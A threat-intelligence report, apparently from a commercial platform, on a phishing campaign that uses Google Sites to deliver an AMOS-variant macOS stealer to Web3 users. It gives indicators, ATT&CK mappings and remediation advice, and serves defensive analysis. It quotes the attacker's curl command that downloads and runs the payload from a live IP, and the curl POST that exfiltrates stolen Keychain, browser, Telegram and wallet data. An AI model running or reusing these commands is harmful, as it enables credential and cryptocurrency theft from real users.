Threat reportMalwareTL-2026-1495
Google Sites Phishing Campaign Delivers AMOS-Variant macOS Stealer (unix32385485) to Web3 Users
Google Sites Phishing Campaign Delivers AMOS-Variant macOS (TL-2026-1495), also tracked as BuilDAO Phishing Campaign, is a high-severity malware campaign, first published 2026-07-18. It has no confirmed attribution, affects Apple macOS, maps to 24 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 22 indicators of compromise.
- Severity
- HIGHAssessed severity
- CVEs
- 0None referenced
- Techniques
- 24MITRE ATT&CK
- Actors
- 0Not attributed
- Detection rules
- 9SPL · KQL · Sigma
- IOCs
- 22Indicators of compromise
Key facts for TL-2026-1495
- Threat ID
- TL-2026-1495
- Also known as
- BuilDAO Phishing Campaign, unix32385485
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- Last reviewed
- Attribution confidence
- LOW
- Motivation
- FINANCIAL
- Target sectors
- cryptocurrency, web3, finance, technology, individuals
- Target regions
- Global
- Detection rules
- 9
- Indicators of compromise
- 22
Malware and tooling in Google Sites Phishing Campaign Delivers AMOS-Variant macOS
Malware and tooling: AMOS, unix32385485
How Google Sites Phishing Campaign Delivers AMOS-Variant macOS works
A multi-stage social engineering campaign abuses Google Sites to host a fake 'BuilDAO/Builder' community application page targeting Web3 users, then redirects victims to a spoofed OAuth/macOS security-verification page that tricks them into executing a .scpt file or Base64-encoded Terminal command. The dropped payload, unix32385485, is a macOS Universal Mach-O stealer (x86_64/arm64) behaviorally consistent with AMOS (Atomic macOS Stealer) that exfiltrates browser credentials, Keychain data, Apple Notes, Safari cookies, Telegram Desktop session data, and 17+ named cryptocurrency wallet applications to a hardcoded C2 (86.54.25.213).
SlowMist identified a targeted phishing campaign against Web3 community members that abuses the inherent trust in Google's `sites.google.com` domain to bypass reputation-based URL filtering. The lure is a fake 'BuilDAO/Builder' community-application form styled to mimic a legitimate Google Forms submission page. After a victim submits the form, the campaign chains them into a spoofed 'OAuth 2.0 security verification' page that displays a fabricated `api_error_401` authentication error, socially engineering the user into believing they must manually 're-verify' their identity by running a script.
The page offers two delivery mechanisms for the same payload: a downloadable Apple `.scpt` (AppleScript) file, or a Base64-encoded one-liner intended to be pasted directly into macOS Terminal (a well-established ClickFix-style delivery pattern increasingly used against macOS users in 2025-2026). Both paths converge on the same shell sequence, which fetches the payload from the C2 host, marks it executable, and detaches it from the parent shell:
``` curl -s http://86.54.25.213/d/unix32385485 > /tmp/unix001 chmod +x /tmp/unix001 /tmp/unix001 > /dev/null 2>&1 & disown ```
The payload `unix32385485` is a macOS Universal Mach-O binary (x86_64 + arm64) that obfuscates 104 string blocks in its `__const` section using XOR plus xorshift32-based keystream generation, hindering static string analysis and naive YARA signature matching. On execution it creates a staging directory at `/tmp/lksopo/` and enumerates system metadata via `sw_vers` and `system_profiler`.
Its collection routine is broad and consistent with the AMOS (Atomic macOS Stealer) family, a macOS-focused Malware-as-a-Service sold on Telegram/underground forums for roughly $3,000/month and responsible for a large share of 2025-2026 macOS stealer detections. The sample harvests: login credentials, cookies, and Local Storage/session data from Chrome, Brave, Microsoft Edge, Vivaldi, Opera, Chromium, Arc, Firefox, and Waterfox; the macOS login Keychain database (`~/Library/Keychains/login.keychain-db`); Safari's binary cookie store (`~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies`); Apple Notes content via AppleScript/`osascript` against the Notes SQLite store (`~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`); and Telegram Desktop session artifacts from `Telegram Desktop/tdata/`, including AES encryption `key_datas` and session-mapping files, enabling full chat-history and account takeover.
Cryptocurrency wallet targeting spans at least 17 named desktop wallet applications: Electrum, Electrum-LTC, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, Ledger Wallet, Monero (GUI/CLI wallet files), Bitcoin Core, Litecoin Core, Dash Core, Electron Cash, Guarda, Dogecoin Core, Trezor Suite, and Sparrow -- reflecting AMOS's broader published capability of targeting 150+ browser-extension wallets and 17 desktop wallets. Given the campaign's explicit Web3/BuilDAO lure, browser-extension wallet Local Storage/LevelDB data (e.g. `atomic/Local Storage/leveldb/`) is a primary objective alongside the desktop wallet directories.
After collection, the malware stages stolen data in `/tmp/lksopo/`, compresses it with `ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip` (preserving macOS resource forks/extended attributes for forensic fidelity to the attacker), and exfiltrates the archive via a single HTTP POST to the same C2 host used for payload delivery, tagged with a `buildid` header (a per-build/campaign identifier: `7ca94f9fa3eb4164ba7e5d41623a458a`) and a `username` header (`night`), allowing the operator to attribute the loot to a specific build or affiliate:
``` curl -X POST -H "buildid: 7ca94f9fa3eb4164ba7e5d41623a458a" -H "username: night" --data-binary @/tmp/lksopo.zip http://86.54.25.213/log ```
The malware then self-cleans with `rm -rf /tmp/lksopo && rm -f /tmp/lksopo.zip`, removing the staging directory and archive to frustrate incident-response artifact recovery, though the dropped binary at `/tmp/unix001` and process/network telemetry remain recoverable via EDR.
The campaign is notable for combining a trusted first-stage hosting platform (Google Sites) with a fabricated OAuth error page as a pretext for social-engineering command execution -- a technique that sidesteps Gatekeeper/notarization controls entirely because the user, not the OS, is the one invoking the payload via Terminal or Script Editor. No CVE applies: this is a social-engineering and malware-delivery threat, not a software vulnerability.
MITRE ATT&CK techniques used in TL-2026-1495
Collection
T1005 Data from Local System; T1074 Data Staged; T1560 Archive Collected Data
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1140 Deobfuscate/Decode Files or Information
Exfiltration
T1041 Exfiltration Over C2 Channel
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
Command and Control
T1071 Application Layer Protocol; T1105 Ingress Tool Transfer
Discovery
T1082 System Information Discovery; T1083 File and Directory Discovery
Initial Access
T1189 Drive-by Compromise; T1566 Phishing
Credential Access
T1539 Steal Web Session Cookie; T1552 Unsecured Credentials; T1555 Credentials from Password Stores
Resource Development
T1583 Acquire Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities
Reconnaissance
T1589 Gather Victim Identity Information
Impact
Affected products and versions in Google Sites Phishing Campaign Delivers AMOS-Variant macOS
- Apple — macOS
Vulnerable versions: macOS (Universal Mach-O binary targets x86_64 and arm64, all recent macOS versions)
Remediation for Google Sites Phishing Campaign Delivers AMOS-Variant macOS
Immediate actions
- Block outbound traffic to 86.54.25.213 (HTTP payload delivery and C2 log endpoint) at perimeter firewall/proxy
- Hunt for /tmp/unix001, /tmp/lksopo/, and /tmp/lksopo.zip on macOS endpoints
- Hunt for curl/osascript/ditto process chains invoking 86.54.25.213 or writing to /tmp/lksopo*
- Search EDR/proxy logs for the HTTP header pair buildid: 7ca94f9fa3eb4164ba7e5d41623a458a and username: night
- Rotate and re-secure any credentials, browser sessions, Telegram sessions, and crypto wallet keys/seed phrases on any host suspected of running unix32385485
Workarounds
- Do not paste or execute Terminal commands, or run downloaded .scpt files, from unsolicited 'identity verification' or 'security check' web pages regardless of hosting domain
Longer-term hardening
- Deploy macOS EDR with behavioral detection for AppleScript/.scpt execution originating from browser-downloaded files and for background-disowned shell payload execution
- User-awareness training on ClickFix-style 'paste this command into Terminal to verify' social-engineering pretexts, including fake OAuth/CAPTCHA/verification error pages
- Restrict or monitor execution of .scpt files and osascript invocations via macOS endpoint policy (e.g. Santa, MDM script-execution restrictions)
- Monitor for lookalike/typosquat Google Sites pages impersonating DAO/Web3 community applications and report to Google Safe Browsing
- Enforce hardware-wallet-only signing and cold storage for high-value crypto holdings to reduce blast radius of desktop/browser wallet key theft
Timeline of Google Sites Phishing Campaign Delivers AMOS-Variant macOS
- Cyble reports the original Atomic macOS Stealer (AMOS) first advertised for sale on Telegram by its developer, establishing the Malware-as-a-Service model this unix32385485 sample descends from.
- SentinelOne documents a second AMOS variant with expanded evasion and collection capability, marking the family's first major post-launch iteration.
- PCrisk publishes consumer-facing AMOS removal/cleanup guidance, reflecting the stealer's growth into a widely-encountered commodity threat by mid-2024.
- Darktrace publishes a network-traffic investigation of an AMOS infection, documenting the family's C2 beaconing and exfiltration behavior observed in live customer environments.
- eSentire reports a fake DeepSeek AI website distributing AMOS to macOS users, showing the operators' pattern of trending-topic lures analogous to this campaign's BuilDAO/Web3 lure.
- Sophos publishes 'Why AMOS matters,' assessing the family's growth into one of the highest-volume macOS credential-theft threats, underscoring the severity of this unix32385485 variant.
- Trend Micro's MDR team documents an AMOS campaign distributed via cracked/pirated macOS application installers, an alternate delivery vector to this campaign's Google Sites/ClickFix chain.
- Trend Micro reports malicious 'OpenClaw' skills used to distribute Atomic macOS Stealer, the most recent pre-campaign AMOS distribution vector documented before the BuilDAO/Google Sites wave analyzed here.
- Estimated onset of the BuilDAO-themed Google Sites phishing campaign targeting Web3 community members, per SlowMist's collected sample chain.
- Reverse engineering of unix32385485 reveals a Universal Mach-O binary using XOR/xorshift32 string obfuscation across 104 string blocks and broad browser/wallet/Telegram/Keychain/Notes collection routines consistent with the AMOS family.
- C2/distribution IP 86.54.25.213, staging paths (/tmp/lksopo/, /tmp/unix001), and exfiltration headers (buildid, username) publicly disclosed as IOCs.
- SlowMist publishes 'Analysis of a Google Sites Community Application Phishing Campaign and macOS Information-Stealing,' detailing the fake BuilDAO application page, the spoofed OAuth verification pretext, and the unix32385485 stealer payload.
- AMOS family context cross-referenced against vendor reporting (Sophos, SentinelOne, Trend Micro, Cyble, Darktrace, eSentire) confirming AMOS's continued Malware-as-a-Service distribution via Telegram and its broad, actively-evolving 2025-2026 targeting of macOS credential and crypto-wallet data.
- Threat ingested and researched by the Threadlinqs Intelligence Platform via automated RSS hunt against the SlowMist source article.
Sources cited for Google Sites Phishing Campaign Delivers AMOS-Variant macOS
- Analysis of a Google Sites Community Application Phishing Campaign and macOS Information-Stealing
- ATOMIC Stealer: macOS Credential Theft
- New Atomic MacOS Stealer For Sale On Telegram
- Why AMOS matters: The macOS malware stealing data at scale
- Atomic Stealer: Threat Actor Spawns Second Variant of macOS Malware Sold on Telegram
- An MDR Analysis of the AMOS Stealer Campaign Targeting macOS via Cracked Apps
- Malicious OpenClaw Skills Used to Distribute Atomic MacOS Stealer
- Fake DeepSeek Site Infects Mac Users with Atomic (AMOS) Stealer
- Atomic Stealer: Darktrace's Investigation of a Growing macOS Threat
- AMOS-Atomic Stealer (Mac) - Removal steps, and macOS cleanup
Detection coverage for TL-2026-1495
As of 2026-07-18, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1495 across Splunk SPL, Microsoft KQL and Sigma, covering 22 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.